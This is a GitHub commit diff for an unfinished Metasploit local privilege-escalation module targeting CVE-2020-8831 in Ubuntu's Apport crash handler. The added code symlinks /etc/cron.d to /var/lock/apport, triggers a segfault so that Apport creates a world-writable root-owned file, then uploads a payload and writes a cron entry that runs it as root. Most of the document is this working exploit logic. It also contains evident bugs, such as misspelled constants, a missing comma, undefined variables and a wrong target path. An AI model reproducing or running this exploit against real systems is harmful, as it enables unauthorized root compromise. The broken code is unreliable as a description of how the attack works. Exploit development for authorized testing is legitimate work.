Skip to content

Commit e7bd6e0

Browse files
committed
Add opts, update description, break up exploit method
1 parent e68ae73 commit e7bd6e0

File tree

2 files changed

+93
-165
lines changed

2 files changed

+93
-165
lines changed

modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb

Lines changed: 93 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -2,64 +2,90 @@
22
class MetasploitModule < Msf::Exploit::Local
33
Rank = NormalRanking
44

5-
# TODO get exact apport version after setting up a test environment
5+
include Msf::Post::Linux::System
6+
include Msf::Post::File
7+
include Msf::Post::File::FileStat
8+
69
# TODO targets in the initialize method and how they work
710
# TODO other priv esc vectors, startup folders, periodic scripts
8-
# The vunerable version of apport may be available on other systems, distros and versions
9-
11+
# change name to apport exploit, checking lesser version of apport in check method, are they vunerable?
1012
def initialize(info = {})
1113
super(
1214
update_info(
1315
info,
14-
'Name' => 'Ubuntu Xenial Xerus Apport Symlink Hijacking Privilege Escalation ',
16+
'Name' => 'Apport Symlink Hijacking Privilege Escalation ',
1517
'Description' => %q{
16-
On the Ubuntu Xenial Xerus 16.04.7 release the Apport 2.20 crash handler is vulnerable
17-
to symlink injection. Following a crash Apport will write reports to /var/lock/apport/lock,
18+
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
19+
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
1820
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
19-
able to create files with global 0777 permissions. This module exploits this weaknes by writing
20-
payloads to /etc/crontab/ as the root user.
21-
21+
able to create files with global 0777 permissions. This module exploits this weaknes by creating a
22+
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
23+
elevated permissions.
2224
},
2325
'License' => MSF_LICENSE,
2426
'Author' => [
2527
'gardnerapp' # mirageinfosec.cloud
2628
],
2729
'References' => [
2830
[
29-
'URL', 'https://nostarch.com/zero-day' # pg. 59
31+
'URL', 'https://nostarch.com/zero-day', # pg. 59
32+
'URL', 'https://ubuntu.com/security/CVE-2020-8831',
33+
'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
3034
]
3135
],
3236
'Platform' => 'linux',
3337
'Targets' => [
3438
[
35-
39+
'Linux_Binary',
40+
{
41+
'Arch' => [ARCH_AARCH64, ARCH_X64]
42+
}
43+
],
44+
[
45+
'Linux_Command',
46+
{
47+
'Arch' => ARCH_CMD
48+
'Payload' =>
49+
{
50+
'BadChars' => "\x22\x27"
51+
}
52+
}
3653
]
3754
],
3855
'Payload' => {
3956
'BadChars' => "\x00"
4057
},
4158
'Privileged' => false,
42-
'DisclosureDate' => '',
59+
'DisclosureDate' => '2 April 2020',
4360
'DefaultTarget' => 0,
4461
'Notes' => {
4562
'Stability' => [CRASH_SAFE],
4663
'Reliability' => [REPEATABLE_SESSION],
4764
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
4865
},
4966
)
50-
register_options [
51-
OptString.new('Cron Name', [true, 'Name of the Crontab file', Rex::Text.rand_text_alpha(rand(8..12))])
52-
]
67+
)
68+
69+
register_options(
70+
OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']),
71+
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]),
72+
OptString.new('CRON_FILENAME', [true, 'Name of the cron file', Rex::Text.rand_text_alpha(rand(8..12))]),
73+
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *'])
5374
)
5475
end
5576

5677
def check
57-
# Check Ubuntu
58-
# Check Release
59-
# Check Apport presence and version
60-
return CheckCode::Safe unless session.platform == 'linux'
78+
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
79+
80+
return CheckCode::Safe('Target is not Ubuntu') unless kernel_version =~ /[uU]buntu/
6181

62-
return CheckCode::Safe unless kernel_version =~ /[uU]buntu/
82+
sys_info = get_sysinfo
83+
puts system_info
84+
85+
distro = sysinfo[:distro]
86+
puts distro
87+
version = sysinfo[:version]
88+
puts system_info
6389

6490
# Check apport version
6591
if !command_exists?('apport-cli')
@@ -75,16 +101,55 @@ def check
75101
vulnerable = Rex::Version.new '2.20'
76102
# Were there prior versions of apport which are NOT vulnerableii
77103
# if version < vulnerable return bad
78-
79104
end
80105

81-
def exploit
82-
# Methods for
83-
# symlinking /var/lock/apport to /etc/crontab
84-
# Touching a file to this
85-
# verifying the permissions on the file (root ownership)
86-
# writing payloads
87-
# what type of payloads
106+
# hijack symlink by creating apport crash
107+
def hijack_apport
108+
# Create symlink
109+
# might need to change linked directory
110+
cmd_exec 'ln -s /etc/cron.d /var/lock/apport'
111+
112+
# CreatE crash and trigger apport
113+
cmd_exec 'sleep 10s & kill -11 $!'
114+
115+
# need method for seeing if file is owned by root and combine with and gate
116+
# if uid method does not work remove Msf::Post::File::FileStat
117+
if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0
118+
fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.')
119+
end
120+
end
121+
122+
def write_payload
123+
print_status 'Uploading payload'
124+
125+
pay_dir = datastore['WritableDir']
126+
127+
pay_dir += '/' unless pay_dir.ends_with? '/'
128+
129+
pay_file = datastore['PayloadFilename']
130+
131+
@pay_dest = "#{pay_dir}#{pay_file}"
132+
133+
# create the payload
134+
if target.arch.first == ARCH_CMD
135+
payload = payload.encoded
136+
upload_and_chmodx pay_dest, payload
137+
else
138+
upload_and_chmodx pay_dest, generate_payload_exe
139+
end
88140
end
89141

142+
def write_cron
143+
cron_file = datastore['CRON_FILENAME']
144+
cron_interval = datastore['CRON_INTERVAL']
145+
write_file(cron_file, "#{cron_interval} #{@pay_file}")
146+
end
147+
148+
def exploit
149+
hijack_apport
150+
151+
write_payload
152+
153+
write_cron
154+
end
90155
end

modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb

Lines changed: 0 additions & 137 deletions
This file was deleted.

0 commit comments

Comments
 (0)